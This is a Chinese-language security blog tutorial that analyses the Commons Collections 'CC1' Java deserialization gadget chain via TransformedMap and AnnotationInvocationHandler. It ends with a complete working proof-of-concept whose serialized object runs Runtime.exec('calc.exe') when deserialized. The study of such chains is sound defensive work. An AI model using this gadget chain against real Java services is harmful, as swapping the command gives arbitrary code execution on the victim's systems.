Java反序列化-cc1链


Commons Collections简介

Apache Commons Collections是一个扩展了JAVA标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

Transformer

cc1链中常见的利用路线有两种,分别是TransformedMap链和LazyMap链,触发的方式基本相同,这里我们重点分析TransformedMap链。

img

但不管TransformedMap利用链还是LazyMap利用链其实核心都是在调用实现了transformer接口的关键函数所构成的,在构造transformer反射利用链前可以关注一下transformer接口在源码注释中解释作用是将输入的对象转换成输出的对象。而构造利用链就需要用到实现了Transformer接口并重写了该接口中的transform函数,分别是ConstantTransformer,invokerTransformer,ChainedTransformer。

invokerTransformer

首先从invokerTransformer开始分析,以下是invokerTransformer的构造函数写transform()函数的主要内容。

img

transform函数的功能简单描述一下就是通过java的反射机制调用input对象中的指定函数,函数名和参数类型分别是invokerTransformer对象实例化时传入的iMethodName和iParamTypes,利用传入的函数名和参数可控这点我们可以构造一个恶意的transform链来达成任意代码执行的效果。

ConstantTransformer

接着再来看看ConstantTransformer类

img

从上面ConstantTransformer类的构造函数可以看到,当ConstantTransformer的对象实例化时会将传入的对象赋值给成员属性iConstant,而这个属性在重写的transform函数被调用时返回。

ChainedTransformer

还是重点来关注ChainedTransformer类中的构造函数和重写的transform函数

img

我们可以看到传入进ChainedTransformer的参数是transform类型的数组,然后在ChainedTransformer对象实例化时会将传入的这个数组赋值给成员变量iTransformers在调用transform()函数时会将iTransformers数组内的每个transform对象的transform()函数调用一遍。读起来有点绕口是吗,这个反射链执行的其实是((Runtime) Runtime.class.getMethod(“getRuntime”).invoke(“null”)).exec(“calc.exe”);

img

运行如图所示的demo可以看到成功的弹出了计算器,

现在利用链有了,下一步要做的就是去找反序列化漏洞的触发点。目前已知java反序列化漏洞利用的核心是可序列化对象重写readObject函数并定义了一些危险的操作(例如调用Runtime类的exec执行系统命令)。而从上述的demo1中可以发现我们还需要的是在TransformedMap中可以调用到ChainedTransformer的transform函数机会。接下来的重点就是找触发transform函数和重写readObject函数的方式。

TransformedMap

commons-collections组件中有两个实现了Serializable接口的类,分别是LazyMap和TransformedMap,也就是cc链中常用的两个类。

TransformedMap类是Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。

首先从TransformedMap源码入手

img

​ 可以看到在TransformedMap中有三个调用到transform的函数transfomKey()、transformValue()和checkSetValue()。这三个函数都是protected属性无法在外部直接被访问,但可以看到checkSetValue的注释中有下图中这样一段话,也就是说当TransformedMap的对象作为map被调用setvalue函数时触发的实际上是checkSetValue()。因此我们后面需要做的就是想办法调用到setvalue()函数。

img

另外在TransformedMap类中还有一个decorate()函数,decorate()函数会根据TransformedMap的构造函数中传入的参数返回一个TransformedMap对象。

img

AnnotationInvocationHandler

触发transform函数的方式已经建立好了,下面需要做的是重写了readObject()函数调用到TransformedMap对象的setValue()函数,从知名反序列化工具 *ysoserial*的源码中可以看到作者选择了AnnotationInvocationHandler这个类来重写readObject。

img

AnnotationInvocationHandler是jdk下sun.reflect.annotation包中的一个类它实现了Serializable接口重写readObject(),其中还存在一个map属性的成员变量,在构造利用链时需要做的就是在AnnotationInvocationHandler实例化时将前面构造好的TransformedMap赋值个这个memberValues。但值得注意的是java8u71之后的版本修改了readObject不能利用。

img

版本高一点的jdk在AnnotationInvocationHandler的readobject函数可读性很差且不能利用,观察jdk1.7版本中AnnotationInvocationHandler重写的readObject函数。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {

var1.defaultReadObject();

AnnotationType var2 = null;

try {

​ var2 = AnnotationType.getInstance(this.type);

} catch (IllegalArgumentException var9) {

​ throw new InvalidObjectException(“Non-annotation type in annotation serial stream”);

}

Map var3 = var2.memberTypes();

Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {

​ Entry var5 = (Entry)var4.next();

​ String var6 = (String)var5.getKey();

​ Class var7 = (Class)var3.get(var6);

​ if (var7 != null) {

​ Object var8 = var5.getValue();

​ if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {

​ var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + “[“ + var8 + “]”)).setMember((Method)var2.members().get(var6)));

​ }

​ }

}

}

简单解释以下就是获取AnnotationInvocationHandler实例化的对象中的成员变量memberValues对其迭代。而下面这段代码正是我们需要用到的调用setValue()。

img

在源码中可以看到AnnotationInvocationHandler类的访问权限不是public,因此只能通过反射的方式获取到对象。

总结

利用链流程:

通过Transformer[] transformers = new Transformer[]{}构造恶意transformers数组—>将Transformer数组传入transformerChain方便调用数组内的每一个transform函数—>创建map,调用TransformedMap中的decorate将transformerChain传入并返回TransformedMap对象—>通过反射实例化AnnotationInvocationHandler并将TransformedMap传个生成的对象调用readObject()触发checkSetValue()—>序列化—>反序列化触发漏洞

poc:

import java.io.*;

import java.util.HashMap;

import java.util.Map;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Constructor;

import java.lang.annotation.Target;

import org.apache.commons.collections.map.TransformedMap;

public class test {

public static void main(String[] args) throws Exception{

​ //核心利用代码

​ Transformer[] transformers = new Transformer[]{

​ new ConstantTransformer(Runtime.class),

​ new InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]}),

​ new InvokerTransformer(“invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

​ new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{“calc.exe”})

​ };

​ //将数组transformers传给ChainedTransformer,构造利用链

​ Transformer transformerChain = new ChainedTransformer(transformers);

​ //触发漏洞

​ Map map = new HashMap();

​ map.put(“value”, “test”);

​ //通过反射触发利用链

​ Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

​ Class cl = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”);

​ //获得AnnotationInvocationHandler的构造器

​ Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);

​ ctor.setAccessible(true);

​ //将transformedMap传给AnnotationInvocationHandler的构造

​ Object instance=ctor.newInstance(Target.class, transformedMap);

​ //序列化

​ FileOutputStream fileOutputStream = new FileOutputStream(“serialize.ser”);

​ ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);

​ objectOutputStream.writeObject(instance);

​ objectOutputStream.close();

​ //反序列化

​ FileInputStream fileInputStream = new FileInputStream(“serialize.ser”);

​ ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);

​ Object result = objectInputStream.readObject();

​ objectInputStream.close();

}

}

在jdk1.7版本下运行上述demo可观察到成功执行构造的恶意代码

img

https://blog.csdn.net/qq_35733751/article/details/118387718

https://paper.seebug.org/1034/

https://zhuanlan.zhihu.com/p/359194253

https://security.tencent.com/index.php/blog/msg/97

https://www.cnblogs.com/yyhuni/p/14777166.html

https://github.com/Maskhe/javasec/blob/master/3. apache commons-collections中的反序列化.md

https://mp.weixin.qq.com/s/sraJ2K9R2CkLHiCcPK0wrA


文章作者: jokerscar
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 jokerscar !
  目录